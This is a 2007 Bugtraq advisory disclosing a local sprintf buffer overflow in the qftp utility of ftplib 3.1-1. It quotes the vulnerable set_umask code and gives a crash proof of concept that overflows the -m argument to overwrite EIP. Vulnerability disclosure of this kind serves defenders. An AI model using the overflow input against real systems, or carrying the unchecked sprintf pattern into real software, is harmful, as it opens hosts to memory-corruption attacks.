QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer overflow
- To: securityfocus <bugtraq@xxxxxxxxxxxxxxxxx>
- Subject: QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer overflow
- From: "starcadi starcadi" <starcadi@xxxxxxxxx>
- Date: Thu, 15 Mar 2007 19:27:06 +0100
- Dkim-signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta; h=domainkey-signature:received:received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=jECPlCGxbxQ3AFXbLNiXafPIht8tV3wlc1BOaKbVOOyUJUoNBxNwFnioWDqpinVZVt6jf/Zkp4zKC4Zy/kurpgwaRmDr3aENIlSXyBSWW12g2N6Z6LxSXCnIHPV8SrMZksG9D8HEYUoE75IqMCpPKc82zAYaqYi9NMT0g5+AF5A=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=HpC9YluiYslafHHeaUn6xmIT7ywzOPBE9Hc158kJ1tiyeVb9rZA3Opj+qp8QKO53646SpLSfvpYOWQS1kDgauBM6BtukGtzaeUeeza04mzcQSJleG3bCf83TmA3U/CKoUPMlUeEx8HkisSJ4Xk+KKtuCy58t06cAIOKxv+IEqkQ=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
http://nbpfaus.net/~pfau/ftplib/
qftp is a utility that performs file transfers using ftplib based on
instructions presented on the command line.
Description
buffer overflow in sprintf(), set_umask don't check sizelen of passed argument.
Source error
in main():
337: case 'm' : set_umask(optarg); break;
..
void set_umask(char *m)
{
char buf[80];
sprintf(buf,"umask %s", m);
ftp_connect();
FtpSite(buf, conn);
}
POC
$ gcc ftplib.c getopt.c qftp.c -o ftpsend
$ ftpsend localhost -l login -p passwd -m `perl -e "print 'a'x90"`
Segmentation fault
# eip addr: $1 = (void *) 0x61616161
--
~ starcadi